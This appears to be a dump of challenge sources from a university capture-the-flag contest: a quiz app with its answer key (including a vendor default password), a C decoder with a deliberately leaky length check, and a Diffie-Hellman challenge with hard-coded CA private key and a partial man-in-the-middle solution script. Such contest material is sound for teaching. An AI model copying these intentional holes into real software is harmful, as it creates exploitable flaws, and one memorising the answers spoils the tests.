49 | return render_template('token.html')
50 |
51 | @app.route('/', methods=['GET', 'POST'])
52 | def index():
53 | if 'token' not in session:
54 | return redirect('/token')
55 | token = session['token']
56 | uid = checktoken(token)
57 | if not uid:
58 | flash('Token无效')
59 | return redirect('/token')
60 |
61 | history_raw = db.query_history(uid)
62 | if history_raw:
63 | next_submit_ts = history_raw[-1][0] + MIN_INTERVAL_S_AFTER(len(history_raw))
64 | remaining_waiting_s = int(next_submit_ts - time.time())
65 | if remaining_waiting_s<0:
66 | remaining_waiting_s = None
67 | else:
68 | remaining_waiting_s = None
69 |
70 | if request.method=='POST':
71 | if remaining_waiting_s:
72 | flash('还需要冷却 %d 秒才能再次提交'%remaining_waiting_s)
73 | else:
74 | submission = {
75 | pid: request.form.get(pid, '')
76 | for pid in answers.keys()
77 | }
78 | for v in submission.values():
79 | if len(v)>MAX_ANSWER_LEN:
80 | flash('答案太长了哟')
81 | return redirect('/')
82 |
83 | db.push_history(uid, submission)
84 | flash('提交成功')
85 |
86 | return redirect('/')
87 |
88 | history = [{
89 | 'time_ts': time_ts,
90 | 'questions': [{
91 | 'pid': pid,
92 | 'answer': ans,
93 | 'correct': ans in answers[pid],
94 | } for pid, ans in submission.items()],
95 | } for time_ts, submission in history_raw]
96 |
97 | correct_count = max([0] + [
98 | sum([int(x['correct']) for x in submission['questions']])
99 | for submission in history
100 | ])
101 | flags = flags_based_on_correct_count(token, correct_count)
102 |
103 | return render_template(
104 | 'index.html',
105 | problemset=problemset,
106 | history=history,
107 | remaining_waiting_s=remaining_waiting_s,
108 | correct_count=correct_count,
109 | flags=flags,
110 | max_length=MAX_ANSWER_LEN,
111 | )
112 |
113 | app.run('0.0.0.0', 5000)
--------------------------------------------------------------------------------
/src/choice/game/db.py:
--------------------------------------------------------------------------------
1 | import sqlite3
2 | import sys
3 | import json
4 | import time
5 |
6 | def get_db():
7 | return sqlite3.connect('db/db.sqlite')
8 |
9 | def init_db():
10 | db = get_db()
11 | db.executescript('''
12 | create table if not exists submits (
13 | uid int,
14 | submit_ts int,
15 | answers_json text
16 | );
17 | ''')
18 |
19 | def query_history(uid):
20 | db = get_db()
21 | cur = db.cursor()
22 | cur.execute('''
23 | select submit_ts, answers_json from submits
24 | where uid=?
25 | order by submit_ts asc
26 | ''', [uid])
27 | return [(x[0], json.loads(x[1])) for x in cur.fetchall()]
28 |
29 | def push_history(uid, submission):
30 | db = get_db()
31 | cur = db.cursor()
32 | cur.execute('''
33 | insert into submits (uid, submit_ts, answers_json)
34 | values (?, ?, ?)
35 | ''', [uid, int(time.time()), json.dumps(submission)])
36 | db.commit()
37 |
38 | if __name__=='__main__':
39 | if len(sys.argv)==2 and sys.argv[1]=='--create-tables':
40 | print('initializing db')
41 | init_db()
--------------------------------------------------------------------------------
/src/choice/game/db/db.sqlite:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/src/choice/game/db/db.sqlite
--------------------------------------------------------------------------------
/src/choice/game/db/problemset.json:
--------------------------------------------------------------------------------
1 | [
2 | {
3 | "id": "1",
4 | "question_html": "理科一号楼共有 8 个计算中心机房,其中第 n 机房的门牌号是Xn(1000≤Xn≤9999),求 ∑ (Xn)n 的最大质因数",
5 | "answer_validator": "^\\d+$",
6 | "answer": ["108475792463321"]
7 | },
8 | {
9 | "id": "2",
10 | "question_html": "北京大学的哪门课被称为“讲得好、作业少、考试水、给分高的课”(中文全称)?",
11 | "answer_validator": "^.+老师的.+$",
12 | "answer": ["穆良柱老师的热学"]
13 | },
14 | {
15 | "id": "3",
16 | "question_html": "根据 HTCPCP-TEA 协议,当一个茶壶暂时无法煮咖啡时,应当返回什么状态码?",
17 | "answer_validator": "^\\d{3}$",
18 | "answer": ["503"]
19 | },
20 | {
21 | "id": "4",
22 | "question_html": "在 Conway's Game of Life 中,有多少种稳定的由 7 个活细胞构成的局面?稳定是指每个时刻的状态都与初始状态完全相同。旋转或对称后相同的视为同一种局面。",
23 | "answer_validator": "^\\d+$",
24 | "answer": ["4"]
25 | },
26 | {
27 | "id": "5",
28 | "question_html": "FAStT Management Suite Java 是 IBM 推出的一款软件,它的默认密码是?",
29 | "answer_validator": "^\\w+$",
30 | "answer": ["config"]
31 | },
32 | {
33 | "id": "6",
34 | "question_html": "最小的汉信码图案由多少像素(被称为“模块”)构成?",
35 | "answer_validator": "^\\d+$",
36 | "answer": ["529"]
37 | },
38 | {
39 | "id": "7",
40 | "question_html": "哪个国密算法基于椭圆曲线密码?",
41 | "answer_validator": "^SM\\d+$",
42 | "answer": ["SM2"]
43 | },
44 | {
45 | "id": "8",
46 | "question_html": "在 2013 年 5 月 4 日,全世界共有多少可用的顶级域名(TLD)?",
47 | "answer_validator": "^\\d+$",
48 | "answer": ["317", "329"]
49 | }
50 | ]
--------------------------------------------------------------------------------
/src/choice/game/flag.py:
--------------------------------------------------------------------------------
1 | import hashlib
2 | import OpenSSL
3 | import base64
4 |
5 | FLAGS = ['you-are-master-of-searching', 'you-are-phd-of-searching', 'you-are-professor-of-searching']
6 | SECRET = ['pkuggg::9an9agm1', 'pkuggg::nfmr8rp0', 'pkuggg::dku1aedj']
7 |
8 | with open('cert.pem', 'rb') as f:
9 | cert = OpenSSL.crypto.load_certificate(OpenSSL.crypto.FILETYPE_PEM, f.read())
10 |
11 | def getflag(token, idx):
12 | serial = hashlib.sha256((SECRET[idx]+token).encode()).hexdigest()[:8]
13 | return 'flag{%s_%s}'%(FLAGS[idx], serial)
14 |
15 | def checktoken(token):
16 | try:
17 | id, sig = token.split(':', 1)
18 | sig = base64.b64decode(sig, validate=True)
19 | OpenSSL.crypto.verify(cert, sig, id.encode(), 'sha256')
20 | return id
21 | except Exception:
22 | return None
--------------------------------------------------------------------------------
/src/choice/game/requirements.txt:
--------------------------------------------------------------------------------
1 | flask
2 | pyopenssl
--------------------------------------------------------------------------------
/src/choice/game/templates/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | 小北问答
6 |
7 |
8 |
9 |
10 |
13 |
14 | {% with messages = get_flashed_messages() %}
15 | {% if messages %}
16 | {% for message in messages %}
17 |
18 | {{ message }}
19 |
20 | {% endfor %}
21 | {% endif %}
22 | {% endwith %}
23 |
24 | {% if correct_count>0 %}
25 |
26 |
您已经解出 {{ correct_count }} 题
27 | {% if flags %}
28 |
29 |
30 | {% for flag in flags %}
31 | - {{ flag }}
32 | {% endfor %}
33 |
34 | {% endif %}
35 |
36 | {% endif %}
37 |
38 |
39 |
说明:
40 |
41 | 当第 n 次提交答案后,需要冷却 2n-1 小时才能进行下一次提交。
42 |
43 | 提交答案后,可以在页面底部看到哪些答案正确。
44 |
45 |
46 |
47 |
103 |
104 |
105 |
106 |
120 |
121 |
--------------------------------------------------------------------------------
/src/choice/game/templates/token.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | 小北问答
6 |
7 |
8 |
9 |
10 |
11 |
12 | {% with messages = get_flashed_messages() %}
13 | {% if messages %}
14 | {% for message in messages %}
15 |
16 | {{ message }}
17 |
18 | {% endfor %}
19 | {% endif %}
20 | {% endwith %}
21 |
22 |
23 |
小北问答
24 |
1202 · 贵校限定版
25 |
26 |
开始之前请输入你的Token:
27 |
35 |
36 |
37 |
38 |
39 |
--------------------------------------------------------------------------------
/src/decoder/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ubuntu:20.04
2 |
3 | RUN mkdir /chall
4 |
5 | COPY decoder /chall/
6 | #COPY flag.txt /chall/
7 |
8 | RUN chmod 0777 /chall/decoder
9 | RUN ln -s /data/flag /chall/flag.txt
10 | #RUN chmod 0400 /chall/flag.txt
11 |
12 | CMD tail -f /dev/null
13 | #CMD cd /chall && ./decoder
14 |
--------------------------------------------------------------------------------
/src/decoder/decoder:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/src/decoder/decoder
--------------------------------------------------------------------------------
/src/decoder/decoder.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 |
8 | char enc[1200]; // encode buffer
9 | int enclen;
10 | uint8_t dec[700]; // decode buffer
11 | int declen;
12 |
13 | const uint8_t dec64table[] = {255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 62, 255, 255, 255, 63, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 255, 255, 255, 255, 255, 255, 255, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 255, 255, 255, 255, 255, 255, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 255, 255, 255, 255, 255};
14 |
15 | void b64decode(const char *code, int code_len, uint8_t *result, int *result_len, int max_len)
16 | {
17 | int x, y;
18 |
19 | uint8_t *ptr = result;
20 |
21 | *result_len = max_len;
22 |
23 | if (max_len <= 3 * (code_len / 4))
24 | return;
25 |
26 | while ((x = *code++) != 0) {
27 | if (isspace(x))
28 | continue;
29 |
30 | if (x > 127 || (x = dec64table[x]) == 255)
31 | return;
32 |
33 | while (isspace(y = *code++))
34 | ;
35 |
36 | if (y == 0 || (y = dec64table[y]) == 255)
37 | return;
38 |
39 | *result++ = (x << 2) | (y >> 4);
40 |
41 | while (isspace(x = *code++))
42 | ;
43 |
44 | if (x == '=') {
45 | while (isspace(x = *code++))
46 | ;
47 |
48 | if (x != '=')
49 | return;
50 | while (isspace(y = *code++))
51 | ;
52 | if (y != 0)
53 | return;
54 |
55 | break;
56 | } else {
57 | if (x > 127 || (x = dec64table[x]) == 255)
58 | return;
59 | *result++ = (y << 4) | (x >> 2);
60 |
61 | while (isspace(y = *code++))
62 | ;
63 |
64 | if (y == '=') {
65 | while (isspace(y = *code++))
66 | ;
67 | if (y != 0)
68 | return;
69 |
70 | break;
71 | } else {
72 | if (y > 127 || (y = dec64table[y]) == 255)
73 | return;
74 | *result++ = (x << 6) | y;
75 | }
76 | }
77 | }
78 |
79 | *result_len = result - ptr;
80 | }
81 |
82 | char flag[100];
83 |
84 | void read_flag()
85 | {
86 | FILE *f = fopen("flag.txt", "r");
87 | fread(flag, 1, sizeof(flag), f);
88 | int flaglen = strlen(flag);
89 | printf("flag has %d bytes\n", flaglen);
90 | fclose(f);
91 | }
92 |
93 | void print_hex(const char *buf, int len)
94 | {
95 | for (int i = 0; i < len; ++i)
96 | //printf("%02x", buf[i]);
97 | printf("%c", buf[i]);
98 | }
99 |
100 | int main() {
101 | setbuf(stdout, NULL);
102 | read_flag();
103 | printf("guess flag (base64): ");
104 | scanf("%s", enc);
105 | enclen = strlen(enc);
106 | b64decode(enc, enclen, dec, &declen, sizeof(dec));
107 | if (declen == sizeof(dec)) {
108 | puts("decode error");
109 | return 0;
110 | }
111 | if (strcmp(flag, dec) == 0) {
112 | printf("You already know the flag:\n");
113 | print_hex(dec, declen);
114 | }
115 | else {
116 | printf("This is not the flag:\n");
117 | print_hex(dec, declen);
118 | }
119 | return 0;
120 | }
121 |
--------------------------------------------------------------------------------
/src/decoder/decoder.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | import os
4 | import sys
5 | import subprocess
6 | import random
7 | import shutil
8 | import signal
9 | import hashlib
10 | import verify
11 |
12 |
13 | class timeout:
14 | def __init__(self, seconds=1, error_message='Timeout'):
15 | self.seconds = seconds
16 | self.error_message = error_message
17 | def handle_timeout(self, signum, frame):
18 | raise TimeoutError(self.error_message)
19 | def __enter__(self):
20 | signal.signal(signal.SIGALRM, self.handle_timeout)
21 | signal.alarm(self.seconds)
22 | def __exit__(self, type, value, traceback):
23 | signal.alarm(0)
24 |
25 |
26 | class Docker:
27 | def __init__(self, image_name: str, cwd="") -> None:
28 | if cwd == "":
29 | cwd = os.getcwd()
30 | cwd = os.path.abspath(cwd)
31 | self._cwd = cwd
32 | self._container_name = ''.join([random.choice('0123456789abcdef') for _ in range(32)])
33 | subprocess.run(["docker", "run", "-id", "--name=" +
34 | self._container_name, "--net=none", "-v",
35 | os.path.join(cwd, "docker", self._container_name, "data")+":/data", image_name],
36 | stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
37 | #print("docker container created:{}".format(self._container_name))
38 |
39 | def close(self) -> None:
40 | subprocess.run(["docker", "kill", self._container_name],
41 | stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
42 | subprocess.run(["docker", "rm", self._container_name],
43 | stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
44 | shutil.rmtree(os.path.join(self._cwd, "docker", self._container_name))
45 | #print("docker container destoryed:{}".format(self._container_name))
46 |
47 | @property
48 | def mounted_path(self) -> str:
49 | return os.path.join(self._cwd, "docker", self._container_name, "data")
50 |
51 | @property
52 | def container_name(self) -> str:
53 | return self._container_name
54 |
55 | def run(self, args, user=None, stdin=None, stdout=None, stderr=None, timeout=2.0) -> subprocess.CompletedProcess:
56 | new_args = ["docker", "exec", "-i"]
57 | if user is not None:
58 | new_args += ["--user", str(user)]
59 | args = new_args + [self._container_name] + list(args)
60 | return subprocess.run(args, stdout=stdout, stdin=stdin, stderr=stderr, timeout=timeout)
61 |
62 |
63 | def copy_flag(flag_path, new_path, token):
64 | with open(flag_path, "r") as f:
65 | flag = f.read().strip()
66 | msg = token.encode('latin-1') + b"A+iovbW50L2vc(U"
67 | msg = hashlib.md5(msg).hexdigest()
68 | flag = flag.replace("TOKEN", msg)
69 | with open(new_path, "w") as f:
70 | f.write(flag)
71 |
72 |
73 | if __name__ == "__main__":
74 | os.chdir(os.path.dirname(os.path.abspath(__file__)))
75 | try:
76 | with timeout(seconds=10):
77 | token = input("token: ")
78 | except Exception as e:
79 | print(e)
80 | exit()
81 | if verify.validate(token) is None:
82 | print("wrong token")
83 | exit()
84 |
85 | try:
86 | docker = Docker("decoder:1.0")
87 | copy_flag("flag.txt", os.path.join(docker.mounted_path, "flag"), token)
88 |
89 | try:
90 | cmd = ["/bin/sh", "-c", "cd /chall && ./decoder"]
91 | proc = docker.run(cmd, stdin=sys.stdin, stdout=sys.stdout, stderr=sys.stderr, timeout=10)
92 | except subprocess.TimeoutExpired:
93 | pass
94 | except:
95 | pass
96 |
97 | docker.close()
98 |
--------------------------------------------------------------------------------
/src/decoder/decoder.xinetd:
--------------------------------------------------------------------------------
1 | service store
2 | {
3 | type = UNLISTED
4 | socket_type = stream
5 | protocol = tcp
6 | wait = no
7 | user = root
8 | server = /usr/bin/python3
9 | server_args = /path/decoder.py
10 | log_on_failure += USERID
11 | log_type = FILE /var/log/decoder.log
12 | port = 3000
13 | disable = no
14 | }
15 |
--------------------------------------------------------------------------------
/src/decoder/flag.txt:
--------------------------------------------------------------------------------
1 | flag{i_see_before_i_know_TOKEN}
2 |
--------------------------------------------------------------------------------
/src/decoder/verify.py:
--------------------------------------------------------------------------------
1 | import OpenSSL
2 | import base64
3 | import os
4 |
5 |
6 | CERT_FILE = os.path.join(os.path.dirname(os.path.abspath(__file__)), "cert.pem")
7 |
8 | with open(CERT_FILE) as f:
9 | cert = OpenSSL.crypto.load_certificate(OpenSSL.crypto.FILETYPE_PEM, f.read())
10 |
11 |
12 | def validate(token):
13 | try:
14 | id, sig = token.split(":", 1)
15 | sig = base64.b64decode(sig, validate=True)
16 | OpenSSL.crypto.verify(cert, sig, id.encode(), "sha256")
17 | return id
18 | except Exception:
19 | return None
20 |
--------------------------------------------------------------------------------
/src/dh/CA.py:
--------------------------------------------------------------------------------
1 | from Crypto.PublicKey import RSA
2 | from hashlib import sha256
3 | import base64
4 |
5 | ca_key=(123911229913422142875264410911959753429255609781060012540592865384481400430784339515602026823919372067245349130530370079412035001372557207523878469898937327849288805682100737656179353201361997603827751534685210816357362467822736133251729781421390068496293277151621728336136046748401714936280146300069794792289, 65537)
6 |
7 | def cert_sign(mess):
8 | from CA_sec import cert_d
9 | gmess=mess.hex()
10 | isign=int.from_bytes(sha256(mess).digest(),'big')
11 | csign=hex(pow(isign,cert_d,ca_key[0]))[2:]
12 | return gmess+"_"+csign
13 |
14 | def cert_verify(mess):
15 | try:
16 | gm,cs=mess.split('_')
17 | rl=bytes.fromhex(gm)
18 | ps=int(cs,16)
19 | isign=int.from_bytes(sha256(rl).digest(),'big')
20 | if pow(ps,ca_key[1],ca_key[0])==isign:
21 | return (True,rl)
22 | return (False,b"")
23 | except:
24 | print("ERROR!")
25 | return (False,b"")
26 |
27 |
28 | P=90217665064898209874945440415607645619739552209209829698859302616784804764535733761793578496057231124307702060703777047113648993244620436073319613409562635176198907683514151487667596066485528729421061091099275256268502121631878101098253283229895343146346757918637948217208979264467987857303672675468072062419
29 | G=13
30 |
--------------------------------------------------------------------------------
/src/dh/CA_sec.py:
--------------------------------------------------------------------------------
1 | from Crypto.PublicKey import RSA
2 |
3 | cert_d=82684375338721289534477672429342568884266999205720684017046968719870311482659577577495274990671559260338032076176116458074783933961345069188920048913138017411904593569779758641114957947966903207245455725179475882318518662495394979143941507545017513344603465032384400322908635349023799164141438946543316334737
4 |
5 | #key=RSA.generate(1024)
6 |
7 | #print((key.n,key.e))
8 | #print(key.d)
--------------------------------------------------------------------------------
/src/dh/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python:3
2 |
3 | WORKDIR /usr/src/app
4 |
5 | COPY requirements.txt ./
6 | RUN pip install --no-cache-dir -r requirements.txt
7 |
8 | RUN apt-get update && apt-get install -y netcat
9 |
10 | COPY . .
11 |
12 | #CMD [ "python", "./server.py" ]
13 | CMD [ "bash", "./run.sh" ]
14 |
15 | #EXPOSE 1919
16 |
--------------------------------------------------------------------------------
/src/dh/flag.py:
--------------------------------------------------------------------------------
1 | from hashlib import md5
2 |
3 | A_cert="416c696365_7d2e831fc7c37b4932604c66de52a3c7f631eee0badffb42f40899fb88ff19e41518fc8326f620aaeb54cecd8bd22a5fa8576848c131370c0fcb8fb0e093fbd0d76b73c47c04ffe2b913472595c9987d53b8cdffa4ff16f6a6176f215e6ded63e65089d763691a4cef91284e6934b95580e64854304b99e87215b582e201222d"
4 | B_cert="426f62_2453e551e17519b6dcfdae46f75b9d92dd943fcb5d2c71911adb83f43753dfba86be013dfb8c2413cbc70eac852e312040d3fbf471b57da2ae7a7aa95d39f3b972e34214f5cc69093d9929b2c5fc24684b0d5443dcb8338d1f52bb34f9913bd1e98c29302bbbd3cb532001adde7f06d93badcdee7b12b1b550a816537e950bad"
5 |
6 | def flag1(token):
7 | return "flag{th3_Tr1V14l_1s_N0t_trIviAL_%s}"%(md5(("PramR*ange!mportant"+token).encode()).hexdigest()[:8])
8 |
9 | def flag2(token):
10 | return "flag{Wh4t_A_w3Ak_Pr0toCo1_%s}"%(md5(("DHIs-N0Ts4Fe!"+token).encode()).hexdigest()[:8])
--------------------------------------------------------------------------------
/src/dh/requirements.txt:
--------------------------------------------------------------------------------
1 | pycryptodome==3.10.1
2 | aioconsole==0.3.1
3 |
--------------------------------------------------------------------------------
/src/dh/run.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | python server.py > /dev/null 2>&1 &
4 |
5 | nc 127.0.0.1 1919
--------------------------------------------------------------------------------
/src/dh/server.py:
--------------------------------------------------------------------------------
1 | from Crypto.Cipher import AES #pip install pycryptodome,aioconsole
2 | from Crypto.Random import random
3 | from CA import *
4 | from flag import flag1,flag2,A_cert,B_cert
5 | import asyncio
6 | import os
7 | import aioconsole
8 |
9 | assert cert_verify(A_cert)[0]
10 | assert cert_verify(B_cert)[0]
11 |
12 |
13 | def pad(msg):
14 | n = 16 - len(msg) % 16
15 | return msg + bytes([n]) * n
16 |
17 | def unpad(msg):
18 | assert len(msg) > 0 and len(msg) % 16 == 0
19 | n = msg[-1]
20 | assert 1 <= n <= 16
21 | assert msg[-n:] == bytes([n]) * n
22 | return msg[:-n]
23 |
24 | class Alice:
25 | def __init__(self,token,net):
26 | self.token=token
27 | self.net=net
28 | self.running=False
29 | self.end=False
30 | async def run(self):
31 | try:
32 | self.running=True
33 | self.d=random.getrandbits(1024)
34 | self.d-=self.d&1
35 | pk=pow(G,self.d,P)
36 | self.net.send(1,(hex(pk)[2:]))
37 | gk=self.net.recv(0)
38 | rgk=await asyncio.wait_for(gk,timeout=300)
39 | rgk=int(rgk,16)
40 | key=pow(rgk,self.d,P)
41 |
42 | aes_key=int.to_bytes(key%(2**128),16,'big')
43 | aes_iv = os.urandom(16)
44 | aes=AES.new(aes_key, AES.MODE_CBC, aes_iv)
45 | cmess=(aes_iv+aes.encrypt(pad(A_cert.encode()))).hex()
46 | self.net.send(1,cmess)
47 |
48 | bcmess=self.net.recv(0)
49 | ugb=await asyncio.wait_for(bcmess,timeout=300)
50 | bcmess=bytes.fromhex(ugb)
51 | baes_iv,bcipher=bcmess[:16],bcmess[16:]
52 | baes=AES.new(aes_key,AES.MODE_CBC,baes_iv)
53 | bmess=unpad(baes.decrypt(bcipher)).decode()
54 | cert_verify(bmess)
55 |
56 | if key<(2**512):
57 | flag=flag1(self.token)
58 | else:
59 | flag=flag2(self.token)
60 |
61 | aes_iv = os.urandom(16)
62 | aes=AES.new(aes_key, AES.MODE_CBC, aes_iv)
63 | cmess=(aes_iv+aes.encrypt(pad(flag.encode()))).hex()
64 | self.net.send(1,cmess)
65 | self.end=True
66 | return
67 | except Exception as e:
68 | self.net.send(1,"ERROR!")
69 | print(repr(e))#for debug only
70 | self.end=True
71 | return
72 |
73 |
74 | class Bob:
75 | def __init__(self,token,net):
76 | self.token=token
77 | self.net=net
78 | self.running=False
79 | self.end=False
80 | async def run(self):
81 | try:
82 | self.running=True
83 | self.d=random.getrandbits(1024)
84 | self.d-=self.d&1
85 | pk=pow(G,self.d,P)
86 | self.net.send(0,(hex(pk)[2:]))
87 | gk=self.net.recv(1)
88 | rgk=await asyncio.wait_for(gk,timeout=300)
89 | gk=int(rgk,16)
90 | key=pow(gk,self.d,P)
91 |
92 | aes_key=int.to_bytes(key%(2**128),16,'big')
93 | aes_iv = os.urandom(16)
94 | aes=AES.new(aes_key, AES.MODE_CBC, aes_iv)
95 | cmess=(aes_iv+aes.encrypt(pad(B_cert.encode()))).hex()
96 | self.net.send(0,cmess)
97 |
98 | acmess=self.net.recv(1)
99 | uga=await asyncio.wait_for(acmess,timeout=300)
100 | acmess=bytes.fromhex(uga)
101 | baes_iv,bcipher=acmess[:16],acmess[16:]
102 | aaes=AES.new(aes_key,AES.MODE_CBC,baes_iv)
103 | amess=unpad(aaes.decrypt(bcipher)).decode()
104 | cert_verify(amess)
105 |
106 | cflag=self.net.recv(1)
107 | fga=await asyncio.wait_for(cflag,timeout=300)
108 | cflag=bytes.fromhex(fga)
109 | civ,flagc=cflag[:16],cflag[16:]
110 | caes=AES.new(aes_key,AES.MODE_CBC,civ)
111 | flag=unpad(caes.decrypt(flagc)).decode()
112 | self.end=True
113 | return
114 | except Exception as e:
115 | self.net.send(1,"ERROR!")
116 | print(repr(e))#for debug only
117 | self.end=True
118 | return
119 |
120 | class Net:
121 | def __init__(self,token,onmess):
122 | self.token=token
123 | self.U=[Alice(token,self),Bob(token,self)]
124 | self.que=[asyncio.Queue(),asyncio.Queue()]
125 | self.onmess=onmess
126 | async def recv(self,uid):
127 | mess=await self.que[uid].get()
128 | return mess
129 | def send(self,uid,mess):
130 | nml=["Alice","Bob"]
131 | self.onmess("Message to "+nml[uid]+":\n"+mess)
132 | def usend(self,uid,mess):
133 | self.que[uid].put_nowait(mess)
134 |
135 | async def localinput(g):
136 | while True:
137 | if g.U[0].end and g.U[1].end:
138 | break
139 | print("0. Talk to Alice")
140 | print("1. Talk to Bob")
141 | try:
142 | x=int((await aioconsole.ainput()).strip())
143 | assert x in [0,1]
144 | print("Your message:")
145 | y=(await aioconsole.ainput()).strip()
146 | g.usend(x,y)
147 | except KeyboardInterrupt:
148 | break
149 | except:
150 | print("ERROR!")
151 | continue
152 |
153 | def localtest():
154 | #print("Please input your token:")
155 | #token=input().strip()
156 | token=os.getenv('hackergame_token').strip()
157 | g=Net(token,print)
158 | loop=asyncio.get_event_loop()
159 | loop.run_until_complete(asyncio.wait([localinput(g),g.U[0].run(),g.U[1].run()]))
160 | loop.close()
161 |
162 |
163 |
164 | async def handle_echo(reader, writer):
165 | #writer.write("Please input your token:\n".encode())
166 | #await writer.drain()
167 | #token=await reader.read(4096)
168 | #token=token.decode().strip()
169 | token=os.getenv('hackergame_token').strip()
170 | def netwrite(data):
171 | assert writer.is_closing()==False
172 | writer.write(data.encode()+b"\n")
173 | async def netinput(g):
174 | while True:
175 | if g.U[0].end and g.U[1].end:
176 | break
177 | netwrite("0. Talk to Alice")
178 | netwrite("1. Talk to Bob")
179 | try:
180 | x=int((await reader.read(4096)).strip())
181 | assert x in [0,1]
182 | netwrite("Your message:")
183 | y=(await reader.read(4096)).strip()
184 | g.usend(x,y.decode())
185 | except:
186 | netwrite("ERROR!")
187 | continue
188 | g=Net(token,netwrite)
189 | await asyncio.gather(netinput(g),g.U[0].run(),g.U[1].run())
190 | print("Close the connection")
191 | writer.close()
192 | await writer.wait_closed()
193 |
194 |
195 | async def net_main():
196 | server = await asyncio.start_server(
197 | handle_echo, '0.0.0.0', 1919)
198 |
199 | addr = server.sockets[0].getsockname()
200 | print(f'Serving on {addr}')
201 |
202 | async with server:
203 | await server.serve_forever()
204 |
205 | asyncio.run(net_main())
206 | #localtest()
207 | #asyncio.run(handle_echo())
--------------------------------------------------------------------------------
/src/dh/sol.py:
--------------------------------------------------------------------------------
1 | from Crypto.Cipher import AES
2 | from Crypto.Random import random
3 | from CA import *
4 |
5 | def pad(msg):
6 | n = 16 - len(msg) % 16
7 | return msg + bytes([n]) * n
8 |
9 | def unpad(msg):
10 | assert len(msg) > 0 and len(msg) % 16 == 0
11 | n = msg[-1]
12 | assert 1 <= n <= 16
13 | assert msg[-n:] == bytes([n]) * n
14 | return msg[:-n]
15 |
16 | def aes_dec(ci,ke):
17 | key=int.to_bytes(ke%(2**128),16,'big')
18 | bcmess=bytes.fromhex(ci)
19 | baes_iv,bcipher=bcmess[:16],bcmess[16:]
20 | baes=AES.new(key,AES.MODE_CBC,baes_iv)
21 | bmess=unpad(baes.decrypt(bcipher)).decode()
22 | return bmess
23 |
24 | def aes_enc(me,ke):
25 | aes_key=int.to_bytes(ke%(2**128),16,'big')
26 | aes_iv = b"\x00"*16
27 | aes=AES.new(aes_key, AES.MODE_CBC, aes_iv)
28 | cmess=(aes_iv+aes.encrypt(pad(me.encode()))).hex()
29 | return cmess
30 |
31 | #KEY="e71533dfc4d2aa22f70f30325525a93036752a4e6393167ea4696fdcefbdae6be929434025bb040c1d6a3241a1e1e505d4ca8e5ee1e170b18760a8be51641e9cddaeaf87c5a1abd60611c4d7a6561bf1f747ac037f7fdbc137286837852931a74d34ecaef52e81b6950962fe7bfc015bf7d06a494d194b8e1727ff3366fcb7f"
32 | KEY="1"
33 | upk=int(KEY,16)
34 |
35 |
36 | # aes_key=1
37 | # aes_c="7fe273d82652a93f049d187d3855790be92990139ee7dbc983bcd2836ff739e24de5e499c9193311fa5c5624ac1b8fdc925cc45dc6308aa0dbb9a543b937a76998e5f2e084e7e58223e5221748d42b0e6eb845feadfd2b182ac8764a2a89e0fbe927ab60ded17ffa2929c701008b7c5c64dfae71eda2e3d004251a7c7df2465a34dd9d77a1d1d5dfc3f3459c884ca36e5633b9b62d800c354a18ec47a5551ec9487ce26933a4374fccc0d301bb9cba77aea354ef0240e6544da59360e06ef90ed52e83747f7db027ef6384703c549c464feff10d0eaf77995dfd73b670fb9a53e48a5ff65ba1e1629c3e04ee4bd794496cd3c1f0c6b749fcb9adf9d3b7b42a3bc2d2984d634f2a469a68cad0b3a11c1006ad4a3a20f7766f96bde11ae2e96d6b"
38 | # print(aes_dec(aes_c,aes_key))
39 | a_cert="416c696365_7d2e831fc7c37b4932604c66de52a3c7f631eee0badffb42f40899fb88ff19e41518fc8326f620aaeb54cecd8bd22a5fa8576848c131370c0fcb8fb0e093fbd0d76b73c47c04ffe2b913472595c9987d53b8cdffa4ff16f6a6176f215e6ded63e65089d763691a4cef91284e6934b95580e64854304b99e87215b582e201222d"
40 |
41 | # aes_key=1
42 | # aes_c="c81e1d4bfb93e7bcae0c2244618609b965ee696311e57d7387c8cf197c23a79f91941e56ddbe33b3288761b19eaf74c39155593d9f57bee003079e65db2018978137cef60f53659ac4de482e6b5731072bdf6d92ff47cfc2a3d975a0b8c76ccc5cec191ba068267e37ed4f76e116a19a1277372f83db4c20a8113367d05df22e8786861fa25d8a827abce8d117919c4212ebfacc70e987c7bdda5c71809a0aa0028ac1b749911c1390c7230730955b99ec7ed95d45613d33594a95a2a9e3a6dd08f4d17f9b5d332aac3c5b3127c5b366c46c78a8696ffcb36d7943c52d8f01c29d60823aedeae1efb9cbb0fe32124858edd58365be7ed7969b8d344b0a5c42c4c135babe71875dfb7bed62448fa584d307890991fec58228ed9a951d531b5228"
43 | # print(aes_dec(aes_c,aes_key))
44 | b_cert="426f62_2453e551e17519b6dcfdae46f75b9d92dd943fcb5d2c71911adb83f43753dfba86be013dfb8c2413cbc70eac852e312040d3fbf471b57da2ae7a7aa95d39f3b972e34214f5cc69093d9929b2c5fc24684b0d5443dcb8338d1f52bb34f9913bd1e98c29302bbbd3cb532001adde7f06d93badcdee7b12b1b550a816537e950bad"
45 |
